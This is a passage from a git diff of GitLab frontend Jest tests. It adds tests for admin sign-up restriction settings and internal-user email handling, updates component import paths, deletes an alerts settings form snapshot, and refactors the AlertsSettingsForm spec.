+ `(
+ '$buttonEffect if require admin approval for new sign-ups is $requireAdminApprovalAction and the user cap is $userCapAction',
+ async ({ requireAdminApprovalAction, userCapAction, buttonEffect }) => {
+ let isModalDisplayed;
+
+ switch (buttonEffect) {
+ case 'shows confirmation modal':
+ isModalDisplayed = true;
+ break;
+ case 'submits form':
+ isModalDisplayed = false;
+ break;
+ default:
+ isModalDisplayed = false;
+ break;
+ }
+
+ const isFormSubmittedWhenClickingFormSubmitButton = !isModalDisplayed;
+
+ const injectedProps = {};
+
+ const USER_CAP_DEFAULT = 5;
+
+ switch (userCapAction) {
+ case 'changed from unlimited to limited':
+ injectedProps.newUserSignupsCap = '';
+ break;
+ case 'unchanged from unlimited':
+ injectedProps.newUserSignupsCap = '';
+ break;
+ default:
+ injectedProps.newUserSignupsCap = USER_CAP_DEFAULT;
+ break;
+ }
+
+ switch (requireAdminApprovalAction) {
+ case 'unchanged from true':
+ injectedProps.requireAdminApprovalAfterUserSignup = true;
+ break;
+ case 'unchanged from false':
+ injectedProps.requireAdminApprovalAfterUserSignup = false;
+ break;
+ case 'toggled off':
+ injectedProps.requireAdminApprovalAfterUserSignup = true;
+ break;
+ case 'toggled on':
+ injectedProps.requireAdminApprovalAfterUserSignup = false;
+ break;
+ default:
+ injectedProps.requireAdminApprovalAfterUserSignup = false;
+ break;
+ }
+
+ formSubmitSpy = jest.spyOn(HTMLFormElement.prototype, 'submit').mockImplementation();
+
+ await mountComponent({
+ injectedProps,
+ stubs: { GlButton, GlModal: stubComponent(GlModal) },
+ });
+
+ findModal().vm.show = jest.fn();
+
+ if (
+ requireAdminApprovalAction === 'toggled off' ||
+ requireAdminApprovalAction === 'toggled on'
+ ) {
+ await findRequireAdminApprovalCheckbox().vm.$emit('input', false);
+ }
+
+ switch (userCapAction) {
+ case 'increased':
+ await findUserCapInput().vm.$emit('input', USER_CAP_DEFAULT + 1);
+ break;
+ case 'decreased':
+ await findUserCapInput().vm.$emit('input', USER_CAP_DEFAULT - 1);
+ break;
+ case 'changed from limited to unlimited':
+ await findUserCapInput().vm.$emit('input', '');
+ break;
+ case 'changed from unlimited to limited':
+ await findUserCapInput().vm.$emit('input', USER_CAP_DEFAULT);
+ break;
+ default:
+ break;
+ }
+
+ await findFormSubmitButton().trigger('click');
+
+ if (isFormSubmittedWhenClickingFormSubmitButton) {
+ expect(formSubmitSpy).toHaveBeenCalled();
+ expect(findModal().vm.show).not.toHaveBeenCalled();
+ } else {
+ expect(formSubmitSpy).not.toHaveBeenCalled();
+ expect(findModal().vm.show).toHaveBeenCalled();
+ }
+ },
+ );
+
+ describe('modal actions', () => {
+ beforeEach(async () => {
+ const INITIAL_USER_CAP = 5;
+
+ await mountComponent({
+ injectedProps: {
+ newUserSignupsCap: INITIAL_USER_CAP,
+ },
+ stubs: { GlButton, GlModal: stubComponent(GlModal) },
+ });
+
+ await findUserCapInput().vm.$emit('input', INITIAL_USER_CAP + 1);
+
+ await findFormSubmitButton().trigger('click');
+ });
+
+ it('submits the form after clicking approve users button', async () => {
+ formSubmitSpy = jest.spyOn(HTMLFormElement.prototype, 'submit').mockImplementation();
+
+ await findModal().vm.$emit('primary');
+
+ expect(formSubmitSpy).toHaveBeenCalled();
+ });
+ });
+ });
+});
diff --git a/spec/frontend/admin/signup_restrictions/mock_data.js b/spec/frontend/admin/signup_restrictions/mock_data.js
new file mode 100644
index 00000000000..624a5614c9c
--- /dev/null
+++ b/spec/frontend/admin/signup_restrictions/mock_data.js
@@ -0,0 +1,41 @@
+export const rawMockData = {
+ host: 'path/to/host',
+ settingsPath: 'path/to/settings',
+ signupEnabled: 'true',
+ requireAdminApprovalAfterUserSignup: 'true',
+ sendUserConfirmationEmail: 'true',
+ minimumPasswordLength: '8',
+ minimumPasswordLengthMin: '3',
+ minimumPasswordLengthMax: '10',
+ minimumPasswordLengthHelpLink: 'help/link',
+ domainAllowlistRaw: 'domain1.com, domain2.com',
+ newUserSignupsCap: '8',
+ domainDenylistEnabled: 'true',
+ denylistTypeRawSelected: 'true',
+ domainDenylistRaw: 'domain2.com, domain3.com',
+ emailRestrictionsEnabled: 'true',
+ supportedSyntaxLinkUrl: '/supported/syntax/link',
+ emailRestrictions: 'user1@domain.com, user2@domain.com',
+ afterSignUpText: 'Congratulations on your successful sign-up!',
+};
+
+export const mockData = {
+ host: 'path/to/host',
+ settingsPath: 'path/to/settings',
+ signupEnabled: true,
+ requireAdminApprovalAfterUserSignup: true,
+ sendUserConfirmationEmail: true,
+ minimumPasswordLength: '8',
+ minimumPasswordLengthMin: '3',
+ minimumPasswordLengthMax: '10',
+ minimumPasswordLengthHelpLink: 'help/link',
+ domainAllowlistRaw: 'domain1.com, domain2.com',
+ newUserSignupsCap: '8',
+ domainDenylistEnabled: true,
+ denylistTypeRawSelected: true,
+ domainDenylistRaw: 'domain2.com, domain3.com',
+ emailRestrictionsEnabled: true,
+ supportedSyntaxLinkUrl: '/supported/syntax/link',
+ emailRestrictions: 'user1@domain.com, user2@domain.com',
+ afterSignUpText: 'Congratulations on your successful sign-up!',
+};
diff --git a/spec/frontend/admin/signup_restrictions/utils.js b/spec/frontend/admin/signup_restrictions/utils.js
new file mode 100644
index 00000000000..30a95467e09
--- /dev/null
+++ b/spec/frontend/admin/signup_restrictions/utils.js
@@ -0,0 +1,19 @@
+export const setDataAttributes = (data, element) => {
+ Object.keys(data).forEach((key) => {
+ const value = data[key];
+
+ // attribute should be:
+ // - valueless if value is 'true'
+ // - absent if value is 'false'
+ switch (value) {
+ case false:
+ break;
+ case true:
+ element.dataset[`${key}`] = '';
+ break;
+ default:
+ element.dataset[`${key}`] = value;
+ break;
+ }
+ });
+};
diff --git a/spec/frontend/admin/signup_restrictions/utils_spec.js b/spec/frontend/admin/signup_restrictions/utils_spec.js
new file mode 100644
index 00000000000..fd5c4c3317b
--- /dev/null
+++ b/spec/frontend/admin/signup_restrictions/utils_spec.js
@@ -0,0 +1,22 @@
+import { getParsedDataset } from '~/pages/admin/application_settings/utils';
+import { rawMockData, mockData } from './mock_data';
+
+describe('utils', () => {
+ describe('getParsedDataset', () => {
+ it('returns correct results', () => {
+ expect(
+ getParsedDataset({
+ dataset: rawMockData,
+ booleanAttributes: [
+ 'signupEnabled',
+ 'requireAdminApprovalAfterUserSignup',
+ 'sendUserConfirmationEmail',
+ 'domainDenylistEnabled',
+ 'denylistTypeRawSelected',
+ 'emailRestrictionsEnabled',
+ ],
+ }),
+ ).toEqual(mockData);
+ });
+ });
+});
diff --git a/spec/frontend/admin/users/components/user_date_spec.js b/spec/frontend/admin/users/components/user_date_spec.js
index 6428b10059b..1a2f2938db5 100644
--- a/spec/frontend/admin/users/components/user_date_spec.js
+++ b/spec/frontend/admin/users/components/user_date_spec.js
@@ -1,6 +1,6 @@
import { shallowMount } from '@vue/test-utils';
-import UserDate from '~/admin/users/components/user_date.vue';
+import UserDate from '~/vue_shared/components/user_date.vue';
import { users } from '../mock_data';
const mockDate = users[0].createdAt;
diff --git a/spec/frontend/admin/users/components/users_table_spec.js b/spec/frontend/admin/users/components/users_table_spec.js
index f1fcc20fb65..424b0deebd3 100644
--- a/spec/frontend/admin/users/components/users_table_spec.js
+++ b/spec/frontend/admin/users/components/users_table_spec.js
@@ -3,8 +3,8 @@ import { mount } from '@vue/test-utils';
import AdminUserActions from '~/admin/users/components/user_actions.vue';
import AdminUserAvatar from '~/admin/users/components/user_avatar.vue';
-import AdminUserDate from '~/admin/users/components/user_date.vue';
import AdminUsersTable from '~/admin/users/components/users_table.vue';
+import AdminUserDate from '~/vue_shared/components/user_date.vue';
import { users, paths } from '../mock_data';
diff --git a/spec/frontend/admin/users/new_spec.js b/spec/frontend/admin/users/new_spec.js
new file mode 100644
index 00000000000..692c583dca8
--- /dev/null
+++ b/spec/frontend/admin/users/new_spec.js
@@ -0,0 +1,76 @@
+import {
+ setupInternalUserRegexHandler,
+ ID_USER_EMAIL,
+ ID_USER_EXTERNAL,
+ ID_WARNING,
+} from '~/admin/users/new';
+
+describe('admin/users/new', () => {
+ const FIXTURE = 'admin/users/new_with_internal_user_regex.html';
+
+ let elExternal;
+ let elUserEmail;
+ let elWarningMessage;
+
+ beforeEach(() => {
+ loadFixtures(FIXTURE);
+ setupInternalUserRegexHandler();
+
+ elExternal = document.getElementById(ID_USER_EXTERNAL);
+ elUserEmail = document.getElementById(ID_USER_EMAIL);
+ elWarningMessage = document.getElementById(ID_WARNING);
+
+ elExternal.checked = true;
+ });
+
+ const changeEmail = (val) => {
+ elUserEmail.value = val;
+ elUserEmail.dispatchEvent(new Event('input'));
+ };
+
+ const hasHiddenWarning = () => elWarningMessage.classList.contains('hidden');
+
+ describe('Behaviour of userExternal checkbox', () => {
+ it('hides warning by default', () => {
+ expect(hasHiddenWarning()).toBe(true);
+ });
+
+ describe('when matches email as internal', () => {
+ beforeEach(() => {
+ changeEmail('test@');
+ });
+
+ it('has external unchecked', () => {
+ expect(elExternal.checked).toBe(false);
+ });
+
+ it('shows warning', () => {
+ expect(hasHiddenWarning()).toBe(false);
+ });
+
+ describe('when external is checked again', () => {
+ beforeEach(() => {
+ elExternal.dispatchEvent(new Event('change'));
+ });
+
+ it('hides warning', () => {
+ expect(hasHiddenWarning()).toBe(true);
+ });
+ });
+ });
+
+ describe('when matches emails as external', () => {
+ beforeEach(() => {
+ changeEmail('test.ext@');
+ });
+
+ it('has external checked', () => {
+ expect(elExternal.checked).toBe(true);
+ });
+
+ it('hides warning', () => {
+ expect(hasHiddenWarning()).toBe(true);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/alerts_settings/components/__snapshots__/alerts_settings_form_spec.js.snap b/spec/frontend/alerts_settings/components/__snapshots__/alerts_settings_form_spec.js.snap
deleted file mode 100644
index 1f8429af7dd..00000000000
--- a/spec/frontend/alerts_settings/components/__snapshots__/alerts_settings_form_spec.js.snap
+++ /dev/null
@@ -1,524 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`AlertsSettingsForm with default values renders the initial template 1`] = `
-<form
- class="gl-mt-6"
->
- <div
- class="tabs gl-tabs"
- id="__BVID__6"
- >
- <!---->
- <div
- class=""
- >
- <ul
- class="nav gl-tabs-nav"
- id="__BVID__6__BV_tab_controls_"
- role="tablist"
- >
- <!---->
- <li
- class="nav-item"
- role="presentation"
- >
- <a
- aria-controls="__BVID__8"
- aria-posinset="1"
- aria-selected="true"
- aria-setsize="3"
- class="nav-link active gl-tab-nav-item gl-tab-nav-item-active gl-tab-nav-item-active-indigo"
- href="#"
- id="__BVID__8___BV_tab_button__"
- role="tab"
- target="_self"
- >
- Configure details
- </a>
- </li>
- <li
- class="nav-item"
- role="presentation"
- >
- <a
- aria-controls="__BVID__19"
- aria-disabled="true"
- aria-posinset="2"
- aria-selected="false"
- aria-setsize="3"
- class="nav-link disabled disabled gl-tab-nav-item"
- href="#"
- id="__BVID__19___BV_tab_button__"
- role="tab"
- tabindex="-1"
- target="_self"
- >
- View credentials
- </a>
- </li>
- <li
- class="nav-item"
- role="presentation"
- >
- <a
- aria-controls="__BVID__41"
- aria-disabled="true"
- aria-posinset="3"
- aria-selected="false"
- aria-setsize="3"
- class="nav-link disabled disabled gl-tab-nav-item"
- href="#"
- id="__BVID__41___BV_tab_button__"
- role="tab"
- tabindex="-1"
- target="_self"
- >
- Send test alert
- </a>
- </li>
- <!---->
- </ul>
- </div>
- <div
- class="tab-content gl-tab-content"
- id="__BVID__6__BV_tab_container_"
- >
- <transition-stub
- css="true"
- enteractiveclass=""
- enterclass=""
- entertoclass="show"
- leaveactiveclass=""
- leaveclass="show"
- leavetoclass=""
- mode="out-in"
- name=""
- >
- <div
- aria-hidden="false"
- aria-labelledby="__BVID__8___BV_tab_button__"
- class="tab-pane active"
- id="__BVID__8"
- role="tabpanel"
- style=""
- >
- <div
- class="form-group gl-form-group"
- id="integration-type"
- role="group"
- >
- <label
- class="d-block col-form-label"
- for="integration-type"
- id="integration-type__BV_label_"
- >
- 1.Select integration type
- </label>
- <div
- class="bv-no-focus-ring"
- >
- <select
- class="gl-form-select gl-max-w-full custom-select"
- id="__BVID__13"
- >
- <option
- value=""
- >
- Select integration type
- </option>
- <option
- value="HTTP"
- >
- HTTP Endpoint
- </option>
- <option
- value="PROMETHEUS"
- >
- External Prometheus
- </option>
- </select>
-
- <!---->
- <!---->
- <!---->
- <!---->
- </div>
- </div>
-
- <div
- class="gl-mt-3"
- >
- <!---->
-
- <label
- class="gl-display-flex gl-flex-direction-column gl-mb-0 gl-w-max-content gl-my-4 gl-font-weight-normal"
- >
- <span
- class="gl-toggle-wrapper"
- >
- <span
- class="gl-toggle-label"
- data-testid="toggle-label"
- >
- Active
- </span>
-
- <!---->
-
- <button
- aria-label="Active"
- class="gl-toggle"
- role="switch"
- type="button"
- >
- <span
- class="toggle-icon"
- >
- <svg
- aria-hidden="true"
- class="gl-icon s16"
- data-testid="close-icon"
- >
- <use
- href="#close"
- />
- </svg>
- </span>
- </button>
- </span>
-
- <!---->
- </label>
-
- <!---->
-
- <!---->
- </div>
-
- <div
- class="gl-display-flex gl-justify-content-start gl-py-3"
- >
- <button
- class="btn js-no-auto-disable btn-confirm btn-md gl-button"
- data-testid="integration-form-submit"
- type="submit"
- >
- <!---->
-
- <!---->
-
- <span
- class="gl-button-text"
- >
-
- Save integration
-
- </span>
- </button>
-
- <button
- class="btn gl-ml-3 js-no-auto-disable btn-default btn-md gl-button"
- type="reset"
- >
- <!---->
-
- <!---->
-
- <span
- class="gl-button-text"
- >
- Cancel and close
- </span>
- </button>
- </div>
- </div>
- </transition-stub>
-
- <transition-stub
- css="true"
- enteractiveclass=""
- enterclass=""
- entertoclass="show"
- leaveactiveclass=""
- leaveclass="show"
- leavetoclass=""
- mode="out-in"
- name=""
- >
- <div
- aria-hidden="true"
- aria-labelledby="__BVID__19___BV_tab_button__"
- class="tab-pane disabled"
- id="__BVID__19"
- role="tabpanel"
- style="display: none;"
- >
- <span>
- Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the
- <a
- class="gl-link gl-display-inline-block"
- href="https://docs.gitlab.com/ee/operations/incident_management/alert_integrations.html"
- rel="noopener noreferrer"
- target="_blank"
- >
- GitLab documentation
- </a>
- to learn more about configuring your endpoint.
- </span>
-
- <fieldset
- class="form-group gl-form-group"
- id="integration-webhook"
- >
- <!---->
- <div
- class="bv-no-focus-ring"
- role="group"
- tabindex="-1"
- >
- <div
- class="gl-my-4"
- >
- <span
- class="gl-font-weight-bold"
- >
-
- Webhook URL
-
- </span>
-
- <div
- id="url"
- readonly="readonly"
- >
- <div
- class="input-group"
- role="group"
- >
- <!---->
- <!---->
-
- <input
- class="gl-form-input form-control"
- id="url"
- readonly="readonly"
- type="text"
- />
-
- <div
- class="input-group-append"
- >
- <button
- aria-label="Copy this value"
- class="btn gl-m-0! btn-default btn-md gl-button btn-default-secondary btn-icon"
- data-clipboard-text=""
- title="Copy"
- type="button"
- >
- <!---->
-
- <svg
- aria-hidden="true"
- class="gl-button-icon gl-icon s16"
- data-testid="copy-to-clipboard-icon"
- >
- <use
- href="#copy-to-clipboard"
- />
- </svg>
-
- <!---->
- </button>
- </div>
- <!---->
- </div>
- </div>
- </div>
-
- <div
- class="gl-my-4"
- >
- <span
- class="gl-font-weight-bold"
- >
-
- Authorization key
-
- </span>
-
- <div
- class="gl-mb-3"
- id="authorization-key"
- readonly="readonly"
- >
- <div
- class="input-group"
- role="group"
- >
- <!---->
- <!---->
-
- <input
- class="gl-form-input form-control"
- id="authorization-key"
- readonly="readonly"
- type="text"
- />
-
- <div
- class="input-group-append"
- >
- <button
- aria-label="Copy this value"
- class="btn gl-m-0! btn-default btn-md gl-button btn-default-secondary btn-icon"
- data-clipboard-text=""
- title="Copy"
- type="button"
- >
- <!---->
-
- <svg
- aria-hidden="true"
- class="gl-button-icon gl-icon s16"
- data-testid="copy-to-clipboard-icon"
- >
- <use
- href="#copy-to-clipboard"
- />
- </svg>
-
- <!---->
- </button>
- </div>
- <!---->
- </div>
- </div>
- </div>
- <!---->
- <!---->
- <!---->
- </div>
- </fieldset>
-
- <button
- class="btn btn-danger btn-md disabled gl-button"
- disabled="disabled"
- type="button"
- >
- <!---->
-
- <!---->
-
- <span
- class="gl-button-text"
- >
-
- Reset Key
-
- </span>
- </button>
-
- <button
- class="btn gl-ml-3 js-no-auto-disable btn-default btn-md gl-button"
- type="reset"
- >
- <!---->
-
- <!---->
-
- <span
- class="gl-button-text"
- >
- Cancel and close
- </span>
- </button>
-
- <!---->
- </div>
- </transition-stub>
-
- <transition-stub
- css="true"
- enteractiveclass=""
- enterclass=""
- entertoclass="show"
- leaveactiveclass=""
- leaveclass="show"
- leavetoclass=""
- mode="out-in"
- name=""
- >
- <div
- aria-hidden="true"
- aria-labelledby="__BVID__41___BV_tab_button__"
- class="tab-pane disabled"
- id="__BVID__41"
- role="tabpanel"
- style="display: none;"
- >
- <fieldset
- class="form-group gl-form-group"
- id="test-integration"
- >
- <!---->
- <div
- class="bv-no-focus-ring"
- role="group"
- tabindex="-1"
- >
- <span>
- Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point.
- </span>
-
- <textarea
- class="gl-form-input gl-form-textarea gl-my-3 form-control is-valid"
- id="test-payload"
- placeholder="{ \\"events\\": [{ \\"application\\": \\"Name of application\\" }] }"
- style="resize: none; overflow-y: scroll;"
- wrap="soft"
- />
- <!---->
- <!---->
- <!---->
- </div>
- </fieldset>
-
- <button
- class="btn js-no-auto-disable btn-confirm btn-md gl-button"
- data-testid="send-test-alert"
- type="button"
- >
- <!---->
-
- <!---->
-
- <span
- class="gl-button-text"
- >
-
- Send
-
- </span>
- </button>
-
- <button
- class="btn gl-ml-3 js-no-auto-disable btn-default btn-md gl-button"
- type="reset"
- >
- <!---->
-
- <!---->
-
- <span
- class="gl-button-text"
- >
- Cancel and close
- </span>
- </button>
- </div>
- </transition-stub>
- <!---->
- </div>
- </div>
-</form>
-`;
diff --git a/spec/frontend/alerts_settings/components/alerts_settings_form_spec.js b/spec/frontend/alerts_settings/components/alerts_settings_form_spec.js
index d2dcff14432..9912ac433a5 100644
--- a/spec/frontend/alerts_settings/components/alerts_settings_form_spec.js
+++ b/spec/frontend/alerts_settings/components/alerts_settings_form_spec.js
@@ -1,5 +1,7 @@
import { GlForm, GlFormSelect, GlFormInput, GlToggle, GlFormTextarea, GlTab } from '@gitlab/ui';
import { mount } from '@vue/test-utils';
+import { nextTick } from 'vue';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import waitForPromises from 'helpers/wait_for_promises';
import MappingBuilder from '~/alerts_settings/components/alert_mapping_builder.vue';
import AlertsSettingsForm from '~/alerts_settings/components/alerts_settings_form.vue';
@@ -8,48 +10,52 @@ import alertFields from '../mocks/alert_fields.json';
import parsedMapping from '../mocks/parsed_mapping.json';
import { defaultAlertSettingsConfig } from './util';
+const scrollIntoViewMock = jest.fn();
+HTMLElement.prototype.scrollIntoView = scrollIntoViewMock;
+
describe('AlertsSettingsForm', () => {
let wrapper;
const mockToastShow = jest.fn();
const createComponent = ({ data = {}, props = {}, multiIntegrations = true } = {}) => {
- wrapper = mount(AlertsSettingsForm, {
- data() {
- return { ...data };
- },
- propsData: {
- loading: false,
- canAddIntegration: true,
- ...props,
- },
- provide: {
- ...defaultAlertSettingsConfig,
- multiIntegrations,
- },
- mocks: {
- $apollo: {
- query: jest.fn(),
+ wrapper = extendedWrapper(
+ mount(AlertsSettingsForm, {
+ data() {
+ return { ...data };
},
- $toast: {
- show: mockToastShow,
+ propsData: {
+ loading: false,
+ canAddIntegration: true,
+ ...props,
},
- },
- });
+ provide: {
+ ...defaultAlertSettingsConfig,
+ multiIntegrations,
+ },
+ mocks: {
+ $apollo: {
+ query: jest.fn(),
+ },
+ $toast: {
+ show: mockToastShow,
+ },
+ },
+ }),
+ );
};
const findForm = () => wrapper.findComponent(GlForm);
const findSelect = () => wrapper.findComponent(GlFormSelect);
const findFormFields = () => wrapper.findAllComponents(GlFormInput);
const findFormToggle = () => wrapper.findComponent(GlToggle);
- const findSamplePayloadSection = () => wrapper.find('[data-testid="sample-payload-section"]');
- const findMappingBuilderSection = () => wrapper.find(`[id = "mapping-builder"]`);
+ const findSamplePayloadSection = () => wrapper.findByTestId('sample-payload-section');
const findMappingBuilder = () => wrapper.findComponent(MappingBuilder);
- const findSubmitButton = () => wrapper.find(`[type = "submit"]`);
- const findMultiSupportText = () =>
- wrapper.find(`[data-testid="multi-integrations-not-supported"]`);
- const findJsonTestSubmit = () => wrapper.find(`[data-testid="send-test-alert"]`);
+
+ const findSubmitButton = () => wrapper.findByTestId('integration-form-submit');
+ const findMultiSupportText = () => wrapper.findByTestId('multi-integrations-not-supported');
+ const findJsonTestSubmit = () => wrapper.findByTestId('send-test-alert');
const findJsonTextArea = () => wrapper.find(`[id = "test-payload"]`);
- const findActionBtn = () => wrapper.find(`[data-testid="payload-action-btn"]`);
+ const findActionBtn = () => wrapper.findByTestId('payload-action-btn');
const findTabs = () => wrapper.findAllComponents(GlTab);
afterEach(() => {
@@ -74,10 +80,6 @@ describe('AlertsSettingsForm', () => {
createComponent();
});
- it('renders the initial template', () => {
- expect(wrapper.element).toMatchSnapshot();
- });
-
it('render the initial form with only an integration type dropdown', () => {
expect(findForm().exists()).toBe(true);
expect(findSelect().exists()).toBe(true);
@@ -151,29 +153,28 @@ describe('AlertsSettingsForm', () => {
findMappingBuilder().vm.$emit('onMappingUpdate', sampleMapping);
findForm().trigger('submit');
- expect(wrapper.emitted('create-new-integration')[0]).toEqual([
- {
- type: typeSet.http,
- variables: {
- name: integrationName,
- active: true,
- payloadAttributeMappings: sampleMapping,
- payloadExample: '{}',
- },
+ expect(wrapper.emitted('create-new-integration')[0][0]).toMatchObject({
+ type: typeSet.http,
+ variables: {
+ name: integrationName,
+ active: true,
+ payloadAttributeMappings: sampleMapping,
+ payloadExample: '{}',
},
- ]);
+ });
});
it('update', () => {
createComponent({
data: {
- selectedIntegration: typeSet.http,
- currentIntegration: { id: '1', name: 'Test integration pre' },
+ integrationForm: { id: '1', name: 'Test integration pre', type: typeSet.http },
+ currentIntegration: { id: '1' },
},
props: {
loading: false,
},
});
+
const updatedIntegrationName = 'Test integration post';
enableIntegration(0, updatedIntegrationName);
@@ -181,21 +182,16 @@ describe('AlertsSettingsForm', () => {
expect(submitBtn.exists()).toBe(true);
expect(submitBtn.text()).toBe('Save integration');
- findForm().trigger('submit');
-
- expect(wrapper.emitted('update-integration')[0]).toEqual(
- expect.arrayContaining([
- {
- type: typeSet.http,
- variables: {
- name: updatedIntegrationName,
- active: true,
- payloadAttributeMappings: [],
- payloadExample: '{}',
- },
- },
- ]),
- );
+ submitBtn.trigger('click');
+ expect(wrapper.emitted('update-integration')[0][0]).toMatchObject({
+ type: typeSet.http,
+ variables: {
+ name: updatedIntegrationName,
+ active: true,
+ payloadAttributeMappings: [],
+ payloadExample: '{}',
+ },
+ });
});
});
@@ -211,16 +207,17 @@ describe('AlertsSettingsForm', () => {
findForm().trigger('submit');
- expect(wrapper.emitted('create-new-integration')[0]).toEqual([
- { type: typeSet.prometheus, variables: { apiUrl, active: true } },
- ]);
+ expect(wrapper.emitted('create-new-integration')[0][0]).toMatchObject({
+ type: typeSet.prometheus,
+ variables: { apiUrl, active: true },
+ });
});
it('update', () => {
createComponent({
data: {
- selectedIntegration: typeSet.prometheus,
- currentIntegration: { id: '1', apiUrl: 'https://test-pre.com' },
+ integrationForm: { id: '1', apiUrl: 'https://test-pre.com', type: typeSet.prometheus },
+ currentIntegration: { id: '1' },
},
props: {
loading: false,
@@ -236,9 +233,10 @@ describe('AlertsSettingsForm', () => {
findForm().trigger('submit');
- expect(wrapper.emitted('update-integration')[0]).toEqual([
- { type: typeSet.prometheus, variables: { apiUrl, active: true } },
- ]);
+ expect(wrapper.emitted('update-integration')[0][0]).toMatchObject({
+ type: typeSet.prometheus,
+ variables: { apiUrl, active: true },
+ });
});
});
});
@@ -247,7 +245,6 @@ describe('AlertsSettingsForm', () => {
beforeEach(() => {
createComponent({
data: {
- selectedIntegration: typeSet.http,
currentIntegration: { id: '1', name: 'Test' },
active: true,
},
@@ -262,7 +259,7 @@ describe('AlertsSettingsForm', () => {
await findJsonTextArea().setValue('Invalid JSON');
jest.runAllTimers();
- await wrapper.vm.$nextTick();
+ await nextTick();
const jsonTestSubmit = findJsonTestSubmit();
expect(jsonTestSubmit.exists()).toBe(true);
@@ -275,7 +272,7 @@ describe('AlertsSettingsForm', () => {
await findJsonTextArea().setValue('{ "value": "value" }');
jest.runAllTimers();
- await wrapper.vm.$nextTick();
+ await nextTick();
expect(findJsonTestSubmit().props('disabled')).toBe(false);
});
});
@@ -283,14 +280,13 @@ describe('AlertsSettingsForm', () => {
describe('Test payload section for HTTP integration', () => {
const validSamplePayload = JSON.stringify(alertFields);
const emptySamplePayload = '{}';
-
beforeEach(() => {
createComponent({
+ multiIntegrations: true,
data: {
+ integrationForm: { type: typeSet.http },
currentIntegration: {
- type: typeSet.http,
- payloadExample: validSamplePayload,
- payloadAttributeMappings: [],
+ payloadExample: emptySamplePayload,
},
active: false,
resetPayloadAndMappingConfirmed: false,
@@ -300,25 +296,25 @@ describe('AlertsSettingsForm', () => {
});
describe.each`
- active | resetPayloadAndMappingConfirmed | disabled
- ${true} | ${true} | ${undefined}
- ${false} | ${true} | ${'disabled'}
- ${true} | ${false} | ${'disabled'}
- ${false} | ${false} | ${'disabled'}
- `('', ({ active, resetPayloadAndMappingConfirmed, disabled }) => {
+ payload | resetPayloadAndMappingConfirmed | disabled
+ ${validSamplePayload} | ${true} | ${undefined}
+ ${emptySamplePayload} | ${true} | ${undefined}
+ ${validSamplePayload} | ${false} | ${'disabled'}
+ ${emptySamplePayload} | ${false} | ${undefined}
+ `('', ({ payload, resetPayloadAndMappingConfirmed, disabled }) => {
const payloadResetMsg = resetPayloadAndMappingConfirmed
? 'was confirmed'
: 'was not confirmed';
const enabledState = disabled === 'disabled' ? 'disabled' : 'enabled';
- const activeState = active ? 'active' : 'not active';
+ const validPayloadMsg = payload === emptySamplePayload ? 'not valid' : 'valid';
- it(`textarea should be ${enabledState} when payload reset ${payloadResetMsg} and current integration is ${activeState}`, async () => {
+ it(`textarea should be ${enabledState} when payload reset ${payloadResetMsg} and payload is ${validPayloadMsg}`, async () => {
wrapper.setData({
- selectedIntegration: typeSet.http,
- active,
+ currentIntegration: { payloadExample: payload },
resetPayloadAndMappingConfirmed,
});
- await wrapper.vm.$nextTick();
+
+ await nextTick();
expect(findSamplePayloadSection().find(GlFormTextarea).attributes('disabled')).toBe(
disabled,
);
@@ -329,9 +325,9 @@ describe('AlertsSettingsForm', () => {
describe.each`
resetPayloadAndMappingConfirmed | payloadExample | caption
${false} | ${validSamplePayload} | ${'Edit payload'}
- ${true} | ${emptySamplePayload} | ${'Parse payload for custom mapping'}
- ${true} | ${validSamplePayload} | ${'Parse payload for custom mapping'}
- ${false} | ${emptySamplePayload} | ${'Parse payload for custom mapping'}
+ ${true} | ${emptySamplePayload} | ${'Parse payload fields'}
+ ${true} | ${validSamplePayload} | ${'Parse payload fields'}
+ ${false} | ${emptySamplePayload} | ${'Parse payload fields'}
`('', ({ resetPayloadAndMappingConfirmed, payloadExample, caption }) => {
const samplePayloadMsg = payloadExample ? 'was provided' : 'was not provided';
const payloadResetMsg = resetPayloadAndMappingConfirmed
@@ -340,16 +336,12 @@ describe('AlertsSettingsForm', () => {
it(`shows ${caption} button when sample payload ${samplePayloadMsg} and payload reset ${payloadResetMsg}`, async () => {
wrapper.setData({
- selectedIntegration: typeSet.http,
currentIntegration: {
payloadExample,
- type: typeSet.http,
- active: true,
- payloadAttributeMappings: [],
},
resetPayloadAndMappingConfirmed,
});
- await wrapper.vm.$nextTick();
+ await nextTick();
expect(findActionBtn().text()).toBe(caption);
});
});
@@ -358,7 +350,6 @@ describe('AlertsSettingsForm', () => {
describe('Parsing payload', () => {
beforeEach(() => {
wrapper.setData({
- selectedIntegration: typeSet.http,
resetPayloadAndMappingConfirmed: true,
});
});
@@ -398,11 +389,12 @@ describe('AlertsSettingsForm', () => {
${true} | ${false} | ${1} | ${false}
${false} | ${true} | ${1} | ${false}
`('', ({ alertFieldsProvided, multiIntegrations, integrationOption, visible }) => {
- const visibleMsg = visible ? 'is rendered' : 'is not rendered';
- const alertFieldsMsg = alertFieldsProvided ? 'are provided' : 'are not provided';
+ const visibleMsg = visible ? 'rendered' : 'not rendered';
+ const alertFieldsMsg = alertFieldsProvided ? 'provided' : 'not provided';
const integrationType = integrationOption === 1 ? typeSet.http : typeSet.prometheus;
+ const multiIntegrationsEnabled = multiIntegrations ? 'enabled' : 'not enabled';
- it(`${visibleMsg} when integration type is ${integrationType} and alert fields ${alertFieldsMsg}`, async () => {
+ it(`is ${visibleMsg} when multiIntegrations are ${multiIntegrationsEnabled}, integration type is ${integrationType} and alert fields are ${alertFieldsMsg}`, async () => {
createComponent({
multiIntegrations,
props: {
@@ -411,8 +403,80 @@ describe('AlertsSettingsForm', () => {
});
await selectOptionAtIndex(integrationOption);
- expect(findMappingBuilderSection().exists()).toBe(visible);
+ expect(findMappingBuilder().exists()).toBe(visible);
+ });
+ });
+ });
+
+ describe('Form validation', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('should not be able to submit when no integration type is selected', async () => {
+ await selectOptionAtIndex(0);
+
+ expect(findSubmitButton().attributes('disabled')).toBe('disabled');
+ });
+
+ it('should not be able to submit when HTTP integration form is invalid', async () => {
+ await selectOptionAtIndex(1);
+ await findFormFields().at(0).vm.$emit('input', '');
